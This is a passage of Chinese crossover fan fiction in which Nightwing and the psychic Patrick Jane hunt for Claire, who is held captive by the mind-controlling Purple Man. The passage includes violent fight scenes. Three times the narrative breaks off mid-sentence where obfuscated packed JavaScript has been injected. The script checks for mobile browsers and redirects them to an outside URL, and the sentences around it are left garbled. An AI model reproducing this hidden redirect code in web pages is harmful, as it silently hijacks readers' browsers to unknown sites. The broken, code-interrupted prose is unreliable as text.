“她就在对面的房间，你为什么不自己去问她呢？”海莉冷笑。 她两只手抓着克莱尔的肩膀，将她推出门外。克莱尔顺着她的力道后退，险些狠狠被甩上的房门撞到鼻子。 对面的两扇门依旧关着，没有灯光，没有声音。另外两个人打定主意不参与这场闹剧。 克莱尔耸耸肩，推开海莉隔壁的一个空房间。 她检查了房间内的布置，确认没有摄像头暗中监视自己，又撩开窗帘。这间房果然和海莉的房间一样，窗户焊死成一块铁板，玻璃防弹防爆。 从二楼望去，窗外荒无人烟，风景令克莱尔感到陌生，她甚至不能确认自己是否在布鲁德海文市内。 而三个住了人的房间，代表三个女人。比照克莱尔的经历，她们很可能同样遭受了精神控制。 满腹思绪无处安放，克莱尔倒在床上，强迫自己闭上眼睛。 她的手机被收缴，不知道有人给自己发了一条又一条消息，始终没等到回信。 迪克把克莱尔的沉默视作拒绝。 这很正常。人们总是因为英俊潇洒的皮囊、魅力四射的性格对迪克怀抱好感，又因为他瞻前顾后的软弱、一意孤行的执拗失望离去。 自卑与自信是一枚硬币的两面。而属于迪克·格雷森的硬币总是被命运接连不断抛到空中，他成了一个如此善变的人。 茜色与紫色的黄昏在天边交织，码头朝海中延伸，铺开波光粼粼的橘红海面。 迪克站在码头尽头，三面环海。他低头，昏暗的光线让他产生了一瞬间错觉，以为输入框里密密麻麻爬满了蚂蚁。 来自城市的风吹向无垠海面，迪克突然清醒，他将那些预备发送给克莱尔的文字通通删除，只保留了最后的结束语。 “Sorry.” 不久前，他们在游艇的船头相拥。 此刻，那艘游艇不在，空荡荡的港口显出颓废破败的本相，黑暗与孤寂张牙舞爪。 迪克走上港口附近的天台，在水塔顶部找到自己藏好的制服包。他换上制服，从“迪克”变成“夜翼”。 放弃的念头如消失的夕阳一般，沉进海的另一边，沉进他的心底。 放弃，也许这就是最好的选择。 朋友才是他和克莱尔相处最舒服的身份，只需要退后一步，就能解决所有问题。 克莱尔迟早会认清夜翼面具下的真相，在那之前，放弃不会使事情变得更糟。 迪克下定了决心，他把手机藏进制服包里，飞进布鲁德海文华灯璀璨的夜色中。 日月轮转，到第三天的早晨，迪克从沙发上惊醒。掉在地板上的手机嘟嘟两声，有人给迪克发了消息。 他急忙伸手从地上抓起手机，弹出来的是派翠克的消息。 迪克轻轻吐出一口气，才点开消息。 派翠克·简，是迪克年少时在巡演团认识的老朋友。 迪克来自马戏团“飞翔的格雷森”，而派翠克是父亲推出来的假灵媒。两人都是明星小演员，派翠克比迪克大上几岁。 马戏团往返多地、巡回演出，两个小明星每隔一段时间就能见上一面。 后来迪克被哥谭富豪布鲁斯·韦恩收养，派翠克则由父亲领着四处行骗。 好在友谊不因距离的遥远褪色，两人到现在都断断续续地联系着。 哥谭的一档通灵节目邀请派翠克当最新一期节目的飞行嘉宾。开始拍摄前，派翠克有几天假期，他决定顺路来看看布鲁德海文定居的老朋友。 迪克极力忽视胸口沉淀的一丝失落，语气欢快地回复：“欢迎来到布鲁德海文，朋友！” 他们定好了见面的时间和地点，迪克打开与克莱尔的对话框，那条孤零零的“Sorry.”躺在最底端。 他切出对话框，手机扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171376|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进包里，强迫自己不去想关于克莱尔的任何事。 中午十二点，迪克抵达车站。 他心不在焉地在人群中搜寻，很快锁定一对显眼的组合。对方捕捉到了他的视线，露出笑容，大步朝迪克走来。 来者穿了一双旧皮鞋，踩着地面啪嗒作响，有一丝讲究，但不多。他穿着与皮鞋配套的西装三件套，领口又不系领带，随意地敞开。 金棕色卷发，抬头纹极深，蓝眼眼角下垂。 英俊、狡黠又饱经风霜，这副形容是派翠克·简的代名词。 他的同伴是一位亚裔青年，面孔严肃冷淡。 迪克与久别重逢的朋友拥抱，派翠克为迪克介绍他的同伴，“这是周。他在布鲁德海文有旧识，我们顺路，一起吃餐饭。” 迪克和周握手，亚裔青年向他友好地笑笑。 三人租了一辆车，到市区一家餐厅吃午餐。餐厅是迪克推荐的，一踏进餐厅，他就开始后悔。 他和克莱尔约会时，吃遍了迪克印象中布鲁德海文所有好吃的餐厅，这家餐厅也不例外。 他们约会总是类似的流程，找一家喜欢的餐厅用餐，在餐桌上讨论等会儿要做什么，在布鲁德海文的某一座桥上漫步。讨论到最后，所有的选项都变成回家，窝在沙发上看电影。 迪克搞不懂克莱尔在想什么，就像他不明白克莱尔为什么热衷于看一些垃圾恐怖片。 她一手搭着沙发靠背，另一只手去抢迪克膝盖上的爆米花，看着满屏幕番茄酱似的假血浆咯咯发笑，坏心眼地评价影片中的鬼怪没有生气的卡莉法恐怖。 那时克莱尔一般刚洗过澡，发尾犹带湿气，披散在柔软的家居服上。她转头与迪克说话，迪克能闻到浓郁的橙花香气，是他家的沐浴露的味道。 前几天，迪克换了另一种沐浴露，橙花的香气便与克莱尔的身影一起变浅变淡，离他远去。 “你一定很舍不得她，她真是一位魅力非凡的女士。”一个声音道，“不考虑复合吗？” “我尝试过了，或许我们更适合做朋友。”迪克回答。 他忽然回神，手边的冰激凌被他用吸管戳成马蜂窝。派翠克则扮演了迪克脑海中的另一个声音，脸上写满促狭。 一点心事摊开，任由朋友细细品鉴。迪克恼羞成怒，“我不是……唉，别笑了，吃你的馅饼，简！” 派翠克向来以激怒他人为乐，他的笑容愈发真挚，“迪克，你似乎经常吃爱情的苦，你有反思吗？” 迪克回了派翠克一个后脑勺，和周搭话，“他工作时也是这种性格吗？” 周放下手机，眉头微蹙，“我只能告诉你，他挨了几次毒打。” 派翠克一本正经道：“我看到你们一点完菜就迫不及待地拿起手机，这证明你们有比填饱肚子更重要的事。迪克愁容满面——提醒你，你的手机壁纸还是你和前女友的合照。” 他无辜的眼睛又瞟向周，“你为旧识准备的礼物是一款女士墨镜。发送消息后，你每三分钟就要看一次手机，显然，那位冷酷的女士没有回复你的消息。” 周尴尬又羞恼地喊道：“你拆了我的礼物？” “你可以买新的包装纸和蝴蝶结。”派翠克没有丝毫心虚。 他的眼睛在迪克和周之间转来转去，眉宇间浮动着好笑与淡淡的忧虑。 “好了，前男友们，告诉我，你们有同一个需要戴墨镜的前女友？” 11. 第 11 章 小小的餐桌上凝聚了大大的无言。一番交流后，留下两张茫然的脸和一双看好戏的眼睛。 迪克使劲盯着周那张冷淡严肃的脸，试图在他脸上看出“前男友”几个字，看出克莱尔喜欢的优点。 对方同样如此，眼睛瞪得很大。 派翠克左右欣赏两人的窘态，眉毛扬得好似两张膨胀的降落伞，在朋友们的恋情笑话中迎风降落。 现场唯有他能肩负起将讨论拉回正轨的重任。 “所以，从前天晚上开始，没有人能没联系上你们共同的前女友。”派翠克总结。 他的眼睛在迪克和周之间来回打转，“精彩得像一本小说。” 周不搭理他的取笑，语气有些不自然地对迪克道：“你去过她家吗，说不定她正在家里休息。” 微妙的不自在像一撮融进水里的盐，改变了一颗心的底味。迪克为自己的情绪化感到羞耻，他告诉自己眼下有更重要的事。 “她租了一个港口，住在自己的游艇上。前段时间港口发生了案件，她的游艇被扣押在证物科。” 不等他说完，周急切道：“你问过她哥哥了吗，她和巴希尔的感情很好，有时候她会住在巴希尔那里。” 迪克的表情有片刻僵硬，他艰难地道：“我和她哥哥没有交换联系方式。” 迪克和巴希尔只见过一次面，在克莱尔租下的港口，不超过三分钟。巴希尔不喜欢他，他对一个在各类节目里招摇撞骗的假灵媒也没有好感。 “你呢？”他问周，“你有他的联系方式吗？” 两个男人面面相觑，各自移开目光。 嘟——派翠克的手机接通了电话。 围观好戏的前灵媒脸上挂着使坏特有的狡猾笑容，“嘿，克洛宁，我是派翠克·简。” 他顶着另外两人惊愕与复杂交加的视线，点开外放，热情地与巴希尔攀谈。原因很简单，他和派翠克参加的竟然是同一档灵媒节目，过几天就能在哥谭碰面。 几句没营养的废话后，派翠克进入正题，“我有一个朋友，是你妹妹的前男友。他最近正在布鲁德海文，想和你妹妹见一面，但联系不上她。” 迪克看向周，对方摸了摸鼻子。 听筒里传来巴希尔的阴阳怪气，“哦，克莱有很多前男友，你说的是哪一个？” “金发、黑发、棕发？FBI、警察，还是法医？” 派翠克悠悠地瞥了面色古怪的两人一眼，道：“周，也许你认识他。” 巴希尔沉默片刻，不耐烦地报了一串号码，“这是我家的固定电话，告诉你的朋友，以后别拿这种事来烦我。” 说完，他毫不留情地挂断了电话。 而迪克已经拿出手机呼叫了别墅的号码。 嘟、嘟、嘟，无人接听的忙音重重敲在迪克心口。他们失去了狡辩的理由——克莱尔出事了。 他慌忙站起来，无礼地扔下两位布鲁德海文的客人。派翠克紧跟上去，和他匆匆走出餐厅。 只有周茫然地坐在餐厅里，半晌，他又拨了一遍别墅的固定电话，依旧是无人接听。 餐厅外，派翠克快走几步上前，拦住迪克。他们面前的路上没有人，身后餐厅的食客与服务生们被厚重的玻璃门挡住，听不清两人的对话。 迪克深呼吸，“抱歉，下次我再好好招待你们。我现在有急事。” 派翠克只是凝视着他，他那双能够看透人心的眼睛如同两片锋利的刀，切进迪克焦灼的心脏。 “你在害怕。”老友直白道，“你害怕自己迟来一步，害怕我们拖你后腿，害怕周比你更了解她。” 迪克张了张嘴，低声辩解：“我不是这么想的。” “人们很难处理过分复杂的情绪，哪怕是你。”派翠克耸肩，“我只是来劝你，不要把事情变得更糟。” “也许吧，我不知道。”迪克别过脸，呼出一口气，“我需要用一点小手段，介意吗？” 派翠克慢慢笑了，“当然不。” 同一天的上午，数小时前，紫人直到早晨都没出现。 克莱尔比另外三人更早离开房间，她拿了一个苹果，用水洗了洗。她占据了客厅最大的那张沙发，边啃苹果，边盯着二楼通往客厅的楼梯发呆。 一个苹果吃完，第二个人走出二楼卧室，是双胞胎中的姐姐珍妮特。她和海莉长得一模一样，没有鼻尖那颗小痣，便多显出几分冷淡。 见到客厅沙发上的克莱尔，珍妮特平静地朝克莱尔点头致意，迈进厨房。 克莱尔安静地看着她忙碌。十几分钟后，她将软乎乎的香蕉燕麦煎饼和油汪汪的培根端上桌，对克莱尔道：“要一起吃早餐吗？” 克莱尔有些惊讶，“哦，居然有我的份吗？” “待会儿你来洗碗。”珍妮特笑了笑，“我是珍妮特。” “克莱尔，新人。”克莱尔简单地自我介绍，“要喊其他人下楼用餐吗？” 珍妮特递给她一杯咖啡。 “不用管她们。海莉会等到我离开厨房以后再偷偷下楼吃东西，她是一只小老鼠。杰西卡吃早餐的时间不固定。啊，”她的目光移到克莱尔身后，“早上好，杰西卡。” 紫发紫瞳的美人神色倦怠地走过餐桌，用脚踢开椅子坐下。她敷衍地摆摆手，算是对珍妮特的回应。 克莱尔将话题拉回到早餐上，“你们生活在这儿，有人专程给你们送食物吗？” “有时候会有人送一些吃的过来，有时候我们会和紫人一起出门采购，大多数时候所有人都待在别墅里。”珍妮特说。 她此刻意识不到这种情况叫做“监/禁”，脸上扬起刻板而幸福的微笑，“你很快就能习惯这里的生活，它很美好。” “只有你会把这称之为‘美好’，你以为紫人会为你神魂颠倒吗？” 凉凉的嘲讽从楼梯上飘下来，所有人的眼睛向上看。海莉瑟缩了一下，随即理直气壮地挺胸抬头，“别以为你的魅力大到能收割所有男人！” 四人维持的尴尬中，杰西卡放下刀叉，拿了一块香蕉煎饼就走。 海莉左顾右盼，抿了抿唇，像一只受惊的小老鼠逃回房间里。她关门的声音很响，珍妮特面不改色，“不必在意她。” 克莱尔默不作声，别墅内几人的关系实在有趣，她不知道其中有没有紫人能力的影响。 就在这时，花房与别墅本体中间的那扇门被人从外推开。紫人仍穿着昨晚与克莱尔共进晚餐时穿的那身紫色西装。 他双眼扫过餐桌边的二人，勾了勾嘴角。 珍妮特主动迎上去，接过紫人脱下的西装外套，“你看上去很累。我去给你放洗澡水，泡个澡吃点零食，快快休息吧。” “你真是一位贤妻良母。”紫人亲昵地道，他坐在沙发上，勾勾手，珍妮特便如一只满心欢喜的小鸟倚在他的肩膀上。 克莱尔啜饮着早餐剩下的咖啡，对上紫人的眼睛，她朝紫人举杯。 紫人轻佻地一拍珍妮特的脸蛋，“去忙吧，宝贝，我等会儿上楼。” 他满意地打量克莱尔，从上至下，从头到脚，喟叹：“你知道吗，我品尝过很多女人。你不是其中最特殊的一个，但你的眼睛实在漂亮。” 克莱尔微微弯唇，“谢谢你的夸奖，你也是我见到的第一个拥有紫色皮肤的男人。” 她的表情自然，甚至可以说，漫不经心。 “我们什么时候开启品鉴环节，紫先生？” 紫人眼睛越亮，笑容越大。他舒服地靠着沙发靠背，仰着脖子，“今晚我们会有一个浪漫的电影之夜，只有我们两个人。在那之前，我要好好休息。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171377|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克莱尔双手环胸，轻松地笑着，她用足了力气让自己不要紧咬牙关。 “好啊。”睫毛眨了眨，遮住一灰一绿的眼睛。 数小时后，迪克拨通别墅电话的同时，克莱尔慢悠悠地走上二楼。 所有人都在自己的房间里，除了她。 海莉、珍妮特和杰西卡，她们是三个被紫人操控的游戏角色。当紫人这个玩家上号时，三个女人便失去了自由行动的能力。如果紫人不需要她们，她们会安分守己地待在自己的房间里待机。 这方便了克莱尔。她用从杂物间找到的麻绳将三间卧室的门从外面拴住，确保房间内的人不能轻易破门而出。 别墅的主卧归紫人所有，是唯一一间能够上锁的卧室。克莱尔从辫子上拆出一根又细又长的金属发卡，掰成一根铁丝捅进锁孔。 她屏息感受指尖细微的阻力，极轻的一声，门开了。 她走进房间，反锁房门，走向大床中央的紫人。 整个过程没有一丝声音，任谁目睹眼前的场景，都会怀疑克莱尔是一只脚不沾地的幽灵。 她贴到床边，贴近枕上那颗紫色的头颅，紫人陡然睁开眼！ 克莱尔手腕一翻，抓住紫人露在被褥外的那条手臂，扭转提举，以她的右肩为支点，摔！ 紫色的身体越过她的头顶，狠狠砸在地上。紫人痛呼一声，来不及下达指令，克莱尔扼住他的脖子，大拇指摁住神经分布最密集的地方。 她的五指陷入紫色的皮肉里，紫人痛苦地面色扭曲，眼白上移。但他仍哆哆嗦嗦地撅起嘴唇，从变形的喉咙里挤出一声气声。 “……呃……嗬……嗬嗬……” 两声几乎重叠的巨响，狂风入室。危机感促使克莱尔放手，就地一滚，堪堪避开擦过发丝的拳头。 她回头，反锁的房门完好无损，而卧室的墙壁被破开一个恐怖的大洞，洞口贯穿了两面墙和三个房间，所过之处满目狼藉！ 碎屑从杰西卡身上滚落，她睁着空洞无神的双眼，向克莱尔挥拳。 杰西卡，她竟然是一个被紫人精神控制的超能力者！ 水果刀从袖中滑出，落入克莱尔掌心。凄凉的刀光扫向杰西卡，像撞上了一面钢铁墙壁，反回的力道震得克莱尔手腕发麻。 但她身形一矮，从杰西卡抵挡的空隙里钻过去，扑向倒地的紫人。 刀尖戳向紫人的眼睛，紫人用沙哑的嗓音大喊：“停！停！停下！” 克莱尔面目狰狞，她的动作有一瞬间停顿，然而持刀的手青筋暴起，颤抖着持续逼近紫人。 刀尖刺入紫人的皮肤，如陷入一片淤泥，但她的速度太慢了，这是一个破绽。 一股巨力击中她的肩膀，克莱尔浑身剧痛，全身骨头都要散架了，脑袋嗡嗡作响。过了一会儿，她意识到自己正从墙上软塌塌地滑下来，像面糊里加多了水的一滩煎饼。 她努力想把自己撑起来，骂骂咧咧：“……我就说，我讨厌超能力。” 紫人一脚踢开掉落的水果刀，阴沉地命令：“不乖的小猫咪，你，不被允许呼吸。” 化学激素入侵大脑。克莱尔的呼吸瞬间停止，她的身体与器官通通违背了她的意志，向敌人投诚。 她死死瞪着紫人，灰色与绿色的眼珠布满血丝，好像她能用目光杀死他。 她的胸口变成一颗鼓胀的气球，又变成一颗石头，死死卡在咽喉以下。克莱尔的视线越来越模糊，大脑的眩晕感越来越强烈，紫人的面孔越来越模糊。 克莱尔眼前泛着白光，一双温柔的紫罗兰色的眼睛在白光里望着她。 白色的光变得黯淡，世界盖上黑幕。杰西卡将她抓起来，粗暴地提到紫人面前。 紫人轻描淡写道：“现在，来聊聊吧，告诉我最令你恐惧的事。” 12.第 12 章 克莱尔不记得自己对紫人说了什么。 人类有时会刻意模糊自己遭受的屈辱，以保护自己的心灵。 她记得紫人最后的表情，得意、轻蔑，像是在台下的贵宾席听完一出悲情的舞台剧，然后做出评价：“女主演长得不赖。” 紫人控制了她的精神，进而控制了她的躯体，克莱尔在他眼中变得不堪一击。 他捏住克莱尔的下巴，拨开汗湿黏在她脸颊上的金发，动作称得上温情脉脉，像爱抚一只咬人的猫。 “真可怜，看看你，把自己搞得这么惨。” 克莱尔呼嗬呼嗬地喘气，她颤抖的手探向紫人的脖子，想要掐住他的喉咙。 紫人只是微笑，“停下。” 于是她的手定在半空，竭尽全力也无法动弹。 紫色的手指抚摸她的眼睛，“我越来越看好你了，除了杰西卡，我还没找到过这么好的女人。” 他松开托着克莱尔下巴的手，克莱尔软绵绵地倒在地上，只能看见紫人的皮鞋鞋尖。 男人的声音从高处落下，轻飘飘地盖在克莱尔身上。 “你讨厌超能力，无非是讨厌自己的弱小。你不能接受弱小的自己，所以只能假装自己很强大。像一只猫，面对强敌时会炸开身上的毛发，以此恐吓敌人，希望将所有威胁都吓走。” 皮鞋在克莱尔身边走来走去，踩过克莱尔的头发，将灰尘蹭到她脸上。 它们停下来。“真可怜。”紫人重复。 克莱尔对他的嘲讽没有反应，她死死盯着地板的尽头，时间倒退，黑夜在悄无声息的时刻降临。 有人拽起她的身体，一路拖行。她恍惚的视野里出现一双紫罗兰的色眼睛。 温柔、美丽、澄澈，饱含爱意，是妈妈的眼睛，凝固在一张全家福上。 全家福的全貌终于在克莱尔眼前铺开，老人、夫妻与兄妹，都含笑望着她。三双紫罗兰色的眼睛，四个通灵者，克莱尔是唯一的例外。 她们微笑着，对克莱尔说：“不，克莱尔，你和我们不一样。” 全家福变成了一扇窗户，透明的玻璃外是来来往往的警察，医疗人员抬着三副盖上白布的担架从窗前走过。 克莱尔在窗内看到巴希尔，他站在树下，紫罗兰色的漂亮眼睛里滚出被鲜血侵染的、粉红色的泪水。 他扭过头，看着窗户里的克莱尔，哭泣着说：“不，克莱尔，你什么都不明白。” 窗户越来越小，小到能架在克莱尔的鼻梁上。一副墨镜，遮住克莱尔的眼睛。 把墨镜送给她的男人名叫何瑞修·肯恩，是迈阿密戴德郡犯罪实验室的主管。他弯下腰，摸摸克莱尔的头。 “你帮助我们抓到了凶手，你是一个了不起的孩子。”他向克莱尔承诺，“今后，你和你的哥哥有任何需要帮助的地方都可以来找我。” “我能跟着你吗？”克莱尔看见孩子的手拽住何瑞修的衣袖，“我想学会保护自己的方法，保护他人的方法。” 何瑞修的嘴角向上勾了一下，他怜悯地说：“不，克莱尔，你没有天赋。” 他俯身摘下克莱尔的墨镜，克莱尔从梦中惊醒。黑暗包围了她，她被紫人关进了一间漆黑的囚室里。 每一根骨头都隐隐作痛，杰西卡拳头击中的地方肿胀到皮肤紧绷。克莱尔撑着冰冷的地面坐起来，单薄的衣服无法抵御寒冷，低温使她昏昏欲睡。 她很饿，也很渴。紫人肯定没有送饭给她补充体力的想法，作为一个囚犯，她的待遇真差。 克莱尔埋在膝盖里，做了好几次深呼吸。心脏不再怦怦直跳时，她支着身体，一点点向外摸索。 囚室四四方方，里面似乎什么东西都没有。墙壁的某一面嵌入铁块，是门。 克莱尔摸向自己的头发，又从辫子里拆出一根金属发卡。如果她能成功逃出去，紫人真还反思一下，自己除了拥有超能力外，是不是一个弱智。 发卡捅进锁孔，克莱尔贴着门，仔细听里面的动静。她头晕眼花，试了好几次都没成功，囚室大门锁芯结构复杂，她得……她得…… 脚步声，来者动作放得很轻，但逃不过克莱尔的耳朵。 克莱尔立刻滚到门边的死角，只要对方一迈进囚室，她会第一时间把发卡扎进他的眼睛里。 门没有打开，反倒是窗的外壳被卸掉，露出走廊一点昏暗的灯光。光在伸手不见五指的囚室内印下一个白色的长方形。 一双女人的手费劲地折腾观察窗，终于把一个皱巴巴的面包和一袋水塞进来。 鼻尖的小痣从观察窗前一闪而过，海莉紧张地透过观察窗打量囚室。 克莱尔在一瞬间醒悟，种种疑点串联成真相。她惊讶道：“你没有被紫人操控，你是为了珍妮特来的！” 海莉吓了一跳，观察窗里又看不见她了。过了一会儿，她才靠过来，试图在看不清的一片黑中分辨出克莱尔的身形。 “你被关进来一整天了，我想你应该吃点东西。” “谢谢你，我的幸运女神。”克莱尔没有废话，抓起面包狼吞虎咽，她问海莉，“外面的情况怎么样？” “紫人又失踪了，”海莉扒在观察窗边，“他去了花房的另一边，到现在都没有回来。杰西卡听他的命令，守着我们所有人。” 克莱尔大口大口地灌水，问道：“我的枪在哪儿？” “枪，”海莉突然睁大了眼睛，“对，你在观鲸船上拿出来的那把枪，紫人把它带回来了，但我不知道它藏在哪里。” 克莱尔把面包包装袋和水袋塞出观察窗，叮嘱她，“找到它，保护好你自己，别在紫人面前暴露你不受控制的事实。” 海莉犹豫道：“好的……那你怎么办，杰西卡把囚室的门锁捏坏了，我没办法把你弄出来。” 原来如此，怪不得她打不开这把锁。 “没关系，”克莱尔掀了掀嘴唇，“他总会走进这个房间的。” 她刻意不去想自己失踪了好几天，她亲近的人们该是怎样的兵荒马乱——迪克确确实实处在失去理智的边缘。 他调查了克莱尔所有的社交账号，包括她用来阅览超英八卦区的小号，没有任何发现。 接着，他又查了她的财款支出，像一个变/态的偷/窥/狂，终于找到克莱尔失踪前留下痕迹。她买了一张观鲸船的票， 观鲸船的工作人员对克莱尔没有印象，一艘不新不旧的观鲸船上也没有监控，线索就断在这里。 迪克又调取了附近店面的监控，只找到克莱尔一个路过的背影。她的头发扎成辫子，穿上新买的长裙，手拿手提袋，明显是一副放松休假的打扮。 她走出监控范围，再也没出现过。 迪克放大监控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175430|180686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画面，将画质处理清晰，克莱尔身后的一个紫色小点显出了人类的五官。 迪克认出了他，紫人，一个知名度不高但棘手的反派，拥有“思想控制”系超能力。他的几次犯罪都被夜魔侠阻止，当他的犯罪计划又一次被夜魔侠击溃后，他从人们的视野里消失了。 他学会了欺软怕硬，不与超级英雄作对，转而向普通人下手，继续享受随心所欲的生活。 派翠克同样带回了克莱尔的消息。他第二次拜访观鲸船，上次坚称自己没见过克莱尔的工作人员因体内激素水平下降，恢复了记忆。 他告诉派翠克：一个浑身紫色男人带走了四位美人，其中一人金发异瞳，令人印象深刻。 而迪克——夜翼，竟然对这样一个危险反派何时流窜至布鲁德海文毫不知情。 莫大的愧疚与羞耻袭击了他，他居然让一个能操控思想与精神的超能力者潜入了他的城市，在他的眼皮子底下伤害他爱的人！ 有人在这时按住了他的肩膀，迪克扯住那条搭在自己肩上的手臂，五指如同铁箍一般紧。 派翠克慌忙制止：“喔、喔、喔，是我。” 他做出投降的动作，龇牙咧嘴，“好痛。” 迪克捏了捏眉心，“抱歉。” 他借用了蝙蝠侠的全球面部识别系统归纳紫人的行动轨迹，正盘算着怎么甩开派翠克和周，换身衣服以夜翼的身份行动， 紫人进入布鲁德海文后一定会隐藏自己的行踪，他也许能从紫人的活动路线中分析出他的目的。 派翠克一眼看穿了他的想法，他扭扭酸痛的手腕，轻松道：“在这件事情上，你出面和夜翼出面，结果是相同的——毕竟你们是同一个人。” 迪克的呼吸节奏错了一拍，派翠克满意地收缴他眼底浮现的惊愕，拍拍他的肩，“你真应该收敛一下自己的表演欲，难道你以为自己的保密工作做得很好吗？” “迪克和夜翼，他们会影响到另一个结果。”派翠克说，“假如你不想继续深陷复杂的多角恋情，你最好学会坦诚面对你的前女友。” 迪克张了张嘴，他抹了把脸，“我没时间去想这些，简。” 他向四周看了看，没有人，周远远被派翠克支走了。近海处有观鲸船返航，船上游客众多。 “只是一个提醒，因为你想抛下我们，独自解决一颗长得像人类的紫薯。”派翠克了然道，“超级英雄很容易犯下不自觉英雄救美的错误。” 迪克离开派翠克和周，是为了以夜翼的身份单独行动。又一次，他陷入“英雄救美”的陷阱里。 他下意识把“迪克”当作一个掩饰，当夜翼出现时，“迪克”的世界是静止的。他要怎么解释，夜翼为克莱尔奔走时，迪克脱离大部队的诡异举动。 他总是区别对待两个身份，又不自觉混淆二者的边界，于是他身旁的人仿佛生活在一团迷雾中，无论从哪个方向都难以窥见迪克真实的自我。 他怎么能抱怨克莱尔对夜翼心生好感，明明是他自己放弃了迪克。 派翠克拿走迪克的手机，上面是布鲁德海文的地图，红色的亮点代表紫人露面的地点。 派翠克笑了，他总是这副胸有成竹的样子，没人能猜到他的想法。 “开车，”他一抬下巴，“我对布鲁德海文不熟悉，但是限定条件的特殊地点，你肯定能找到。” 13.第 13 章 克莱尔失去了对时间的感知。距离海莉偷偷给她送来食物和水可能又过去了一整天，也可能时针只走过几个小时。 囚室的门打开，投下方块状的白光，光刺激到克莱尔的双眼，她眯着眼辨认，门外走进来两个模糊的人影。 皮鞋停在她紧贴地板的脸颊边，紫人用鞋尖挑起她的下巴，克莱尔脸色苍白、冷汗涔涔，干裂的嘴唇见不到一丝血色。 紫人欣赏眼前的场景，像欣赏一朵被揉成汁液的玫瑰。 他满足地叹息：“多漂亮，脆弱又易碎的一位可怜美人。” 克莱尔扯扯嘴角，她不言不语，在顷刻间暴起，积蓄已久的力量灌注到一拳之中，狠狠砸向紫人的太阳穴。 护卫在紫人身后的杰西卡慢了一刻才接收到“保护”的指令，那一拳将紫人砸倒在地，杰西卡随即拽住了克莱尔的肩膀。她的力量完全超越了正常人类的极限，克莱尔只感觉视野因急速旋转而变形，她的后背撞到地板上，痛苦的闷哼不受控制溢出嘴角。 紫人几乎被她一拳砸到晕厥——几乎。他厉声喝道：“放弃挣扎吧！杰西卡，解决她！” 特殊的化学激素入侵克莱尔的大脑，她紧紧咬住牙关，告诫自己。 别听他的，别听他的。 见鬼，没有人可以命令她，没有人！ 杰西卡的拳头在视野里越变越大，她一定能把克莱尔的脑袋砸成一颗汁水迸溅的浆果。克莱尔的手指在最后一刻动起来，她突破了紫人的精神操控，飞身而上，攀上杰西卡的肩膀，两腿绞住杰西卡的左臂，利用重力将她和自己一同带到地面。 一个标准的地面十字架！ 她的右手紧紧箍住杰西卡的右臂，如同一把施加在杰西卡身上的铜铸大锁，左臂手肘一下接一下砸偏杰西卡的脑袋，每一下都能听见沉闷的撞击声，宛如守钟人敲响黄昏时的大钟。 换做任何一个普通人，早就因为关节被扭曲的剧痛以及头部的重击失去意识，而杰西卡像一只受惊的母狮，胡乱挣动四肢，要把锁住自己的身体的克莱尔生生撕裂开！ 紫人捂着头爬起来，太阳穴边缘淌下鲜血。接二连三的失利让他怒不可遏，他暴喝道：“克洛宁，你这个——！” 枪响！ 子弹打断紫人的污言秽语，他的思维出现短暂的停滞，使得杰西卡的反抗同样变得虚弱。 枪口飘着硝烟，夜鹰1911握在海莉手中，她的双手不停打颤，“我……我打中了吗？” 她用子弹击穿了紫人的小腿，那道贯穿伤正在快速愈合，她没时间犹豫了。 海莉再度扣住板机，清除脑海中杂乱的思绪。 在克莱尔交代她找到这把枪后，海莉翻遍了别墅每一个她能到达的角落，包括紫人的卧室。 最后，她在珍妮特的床头柜里找到这把枪。她拙劣的搜查行动没有瞒过珍妮特的眼睛，她慌张地转身，珍妮特就站在她身后。 “你在干什么？”与她一模一样的那张脸微微蹙眉，显出几分不愉快。 又是这样，不管海莉做什么，珍妮特总是能做得比她更出色、更优秀。珍妮特的读书成绩更好，珍妮特的体育才能更棒，珍妮特的人缘好过海莉一千倍，所有人都更爱珍妮特。 自然，当她们的父母离婚时，妈妈带走了珍妮特，嫁给了一个竞选州长的议员。珍妮特一下成了备受瞩目与宠爱的千金小姐，海莉则跟着她们月月换女友的牙医父亲，太棒了，那是个连海莉读哪所大学都搞不清楚的白痴。 海莉偷偷注册了很多个小号，轮换着监视珍妮特的各个社交账号。她品读双胞胎姐姐的生活，她交到了新朋友，她去学了小提琴，她在学校里演讲，她加入了志愿者组织。 一个完美的人，海莉怎么追得上她？ 她每日窥视珍妮特的生活，心中的毒液流淌蔓延。然后，某一天，她发现珍妮特的一个小号更新了一条恋爱日记，画面中出现一只紫色的手。 